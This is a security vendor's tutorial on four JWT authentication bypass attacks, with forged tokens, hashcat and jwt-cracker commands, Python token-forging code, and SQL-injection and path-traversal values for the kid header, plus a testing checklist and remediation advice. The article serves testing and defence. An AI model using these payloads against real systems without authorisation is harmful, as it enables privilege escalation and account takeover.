All articlesAttack Techniques

JWT Authentication Bypass: 4 Attack Techniques and How to Test for Them

March 5, 2026·8 min read·Nautillo Pro Security Team

JSON Web Tokens are ubiquitous in modern web apps. So are JWT misconfigurations. This article covers the four most exploited weaknesses — alg:none bypass, weak secret brute-force, RS256→HS256 algorithm confusion, and kid injection — with HTTP-level examples and a testing checklist.

JWT structure recap

A JWT consists of three base64url-encoded parts separated by dots: header.payload.signature.

# Decoded header
{
  "alg": "HS256",
  "typ": "JWT"
}

# Decoded payload
{
  "sub": "user_58",
  "role": "user",
  "iat": 1741737600,
  "exp": 1741824000
}

# Signature = HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)

The signature cryptographically binds the header and payload to a secret. If the server validates the signature correctly, the token cannot be tampered with. The attacks below target cases where this validation is broken, skipped, or confused.

Attack 1: Algorithm confusion — alg:none

The JWT specification includes alg: "none" to indicate an unsecured token with no signature. Several early JWT libraries accepted tokens with alg: "none" without enforcing signature verification — because the spec technically allowed it.

The attack:

# Step 1: Take a valid token, decode header and payload
# Step 2: Modify payload (e.g., change role from "user" to "admin")
# Step 3: Re-encode with alg: "none" and empty signature

# Modified header (base64url encoded)
{"alg":"none","typ":"JWT"}

# Modified payload
{"sub":"user_58","role":"admin","iat":1741737600,"exp":1741824000}

# Resulting token (no signature — just trailing dot)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.
eyJzdWIiOiJ1c2VyXzU4Iiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzQxNzM3NjAwLCJleHAiOjE3NDE4MjQwMDB9.

# Send as Authorization: Bearer <token> and observe if admin access is granted

Who is still vulnerable: any application using an outdated JWT library that doesn't explicitly pin the allowed algorithm. Legacy Node.js apps using jsonwebtoken < 8.5.1 or Java apps using older JJWT versions without algorithm whitelisting.

Attack 2: Weak secret brute-force (HS256)

HS256 tokens are signed with a shared secret using HMAC-SHA256. If the secret is short, common, or derived from a predictable value (hostname, app name, "secret", "password"), it can be brute-forced offline using the captured token — no server interaction needed.

# Using hashcat with a wordlist
hashcat -a 0 -m 16500 <captured_jwt> /path/to/wordlist.txt

# Using jwt-cracker (Node.js)
jwt-cracker <captured_jwt> --alphabet "abcdefghijklmnopqrstuvwxyz" --max 8

# If secret is found (e.g., "mysecret123"):
# Forge a new token with admin role, sign with the discovered secret
import jwt
payload = {"sub": "user_58", "role": "admin", "exp": 9999999999}
forged = jwt.encode(payload, "mysecret123", algorithm="HS256")

A modern GPU can test ~1 billion HS256 candidates per second. A 6-character alphanumeric secret is cracked in seconds. Any secret under 32 bytes of cryptographic randomness is at risk.

Attack 3: RS256 → HS256 algorithm confusion

Some applications issue RS256 tokens (asymmetric: signed with private key, verified with public key) but their JWT library accepts both RS256 and HS256 without pinning. The attack exploits this flexibility:

# Step 1: Obtain the server's RSA public key
# (often exposed at /.well-known/jwks.json or /api/auth/keys)

# Step 2: Create a forged token with alg: HS256
# Sign it using the RSA PUBLIC KEY as the HMAC secret

import jwt, base64
from cryptography.hazmat.primitives import serialization

# Load the public key as bytes
with open("public_key.pem", "rb") as f:
    public_key_bytes = f.read()

payload = {"sub": "user_58", "role": "admin", "exp": 9999999999}
forged = jwt.encode(payload, public_key_bytes, algorithm="HS256")

# Step 3: Submit the forged token
# The server (if vulnerable) verifies HS256 using the public key as secret
# Since we signed with the same key, verification passes

This attack works because the public key is, by definition, not secret — the attacker can obtain it from JWKS endpoints or by extracting it from a valid RS256 token.

Attack 4: kid (Key ID) injection

The JWT header can include a kid (Key ID) parameter that tells the server which key to use for verification. If the server uses the kid value in a database query or file path lookup without sanitization, two attack vectors open up:

SQL injection via kid

# Server code (vulnerable pattern)
key = db.query(f"SELECT secret FROM keys WHERE id = '{kid}'")

# Attacker sets kid to:
{"alg":"HS256","kid":"x' UNION SELECT 'attacker_secret'--"}

# Query becomes:
SELECT secret FROM keys WHERE id = 'x' UNION SELECT 'attacker_secret'--
# Returns: 'attacker_secret'

# Attacker signs their forged token with 'attacker_secret'
# Server verifies with 'attacker_secret' → passes

Path traversal via kid

# Server code (vulnerable pattern)
key = open(f"/keys/{kid}").read()

# Attacker sets kid to:
{"alg":"HS256","kid":"../../dev/null"}

# Server opens /dev/null → reads empty string ""
# Attacker signs forged token with empty string ""
# Server verifies with "" → passes

# Alternative: point to a file with known/predictable content

Testing checklist

01Decode any captured JWT token. Check the alg header value.
02Try submitting a token with alg: none and an empty/removed signature.
03Try changing the alg header from RS256 to HS256 and signing with the public key.
04Check if the server exposes a JWKS endpoint (/.well-known/jwks.json). If so, extract the public key.
05Try brute-forcing the secret if alg is HS256: test common words, the app name, and short patterns.
06If a kid header is present, test SQL injection payloads in its value.
07If a kid header is present, test path traversal payloads pointing to /dev/null or /proc/self/exe.
08Try modifying the payload (change role, sub, email) and resubmitting without changing the signature — some libraries don't validate at all.

Remediation

Pin the algorithm server-side

Never determine the verification algorithm from the token's own header. The server must explicitly specify which algorithm to use, regardless of what the token claims. In most JWT libraries: jwt.verify(token, secret, { algorithms: ['HS256'] }).

Use cryptographically random, long secrets

For HS256, the secret must be at least 256 bits (32 bytes) of cryptographic randomness. Use a CSPRNG (crypto.randomBytes(32) in Node.js, secrets.token_bytes(32) in Python). Never derive secrets from app names, hostnames, or short strings.

Validate and sanitize the kid parameter

If you use kid to look up keys, validate it against an allowlist of known key IDs. Never pass kid values to database queries or file path operations without strict validation. A UUID format check is a minimum.

Prefer RS256 or ES256 for distributed systems

Asymmetric algorithms (RS256, ES256) eliminate the shared-secret problem — services can verify tokens using only the public key. Use HS256 only for single-service authentication where the secret never leaves one process.

Test JWT handling in your app

Nautillo Pro's attack simulation actively probes JWT implementations — testing algorithm confusion, weak secrets, and token manipulation as part of its authentication bypass attack path.